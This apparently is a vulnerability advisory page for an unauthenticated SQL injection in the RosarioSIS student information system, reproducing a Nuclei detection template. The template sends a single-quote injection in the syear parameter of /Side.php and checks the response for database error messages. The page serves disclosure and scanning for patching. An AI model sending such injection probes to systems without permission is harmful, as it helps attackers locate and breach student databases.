CVE-2021-44427: Rosario Student Information System Unauthenticated SQL Injection

2025-08-01 Rosario Student Information System PoC Public

Description

An unauthenticated SQL injection vulnerability in Rosario Student Information System (aka rosariosis) 8.1 and below allow remote attackers to execute PostgreSQL statements (e.g., SELECT, INSERT, UPDATE, and DELETE) through /Side.php via the syear parameter.

PoC

id: CVE-2021-44427

info:
  name: Rosario Student Information System Unauthenticated SQL Injection
  author: furkansayim,xShuden
  severity: critical
  description: An unauthenticated SQL injection vulnerability in Rosario Student Information System (aka rosariosis) 8.1 and below allow remote attackers to execute PostgreSQL statements (e.g., SELECT, INSERT, UPDATE, and DELETE) through /Side.php via the syear parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to extract sensitive information from the database, modify data, or execute arbitrary SQL commands.
  remediation: Upgrade to version 8.1.1 or higher.
  reference:
    - https://gitlab.com/francoisjacquet/rosariosis/-/issues/328
    - https://twitter.com/RemotelyAlerts/status/1465697928178122775
    - https://nvd.nist.gov/vuln/detail/CVE-2021-44427
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-44427
    cwe-id: CWE-89
    epss-score: 0.50641
    epss-percentile: 0.98858
    cpe: cpe:2.3:a:rosariosis:rosariosis:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: rosariosis
    product: rosariosis
  tags: cve,cve2021,sqli,rosariosis,vkev,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/Side.php"

    body: "sidefunc=update&syear=111'"

    headers:
      Content-Type: application/x-www-form-urlencoded; charset=utf-8

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "DB Execute Failed. ERROR:"
          - "unterminated quoted string"
        condition: and

      - type: word
        part: header
        words:
          - "RosarioSIS="

      - type: status
        status:
          - 200
# digest: 4a0a0047304502210093114cca6de32c4a2e6ffae899c293c0f816885054e7d25b480e44c4ec28692502205ef7adbae2fc41d6059923d48a22d27948a5599d3a3a76165905890d2940451b:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-44427.yaml

References

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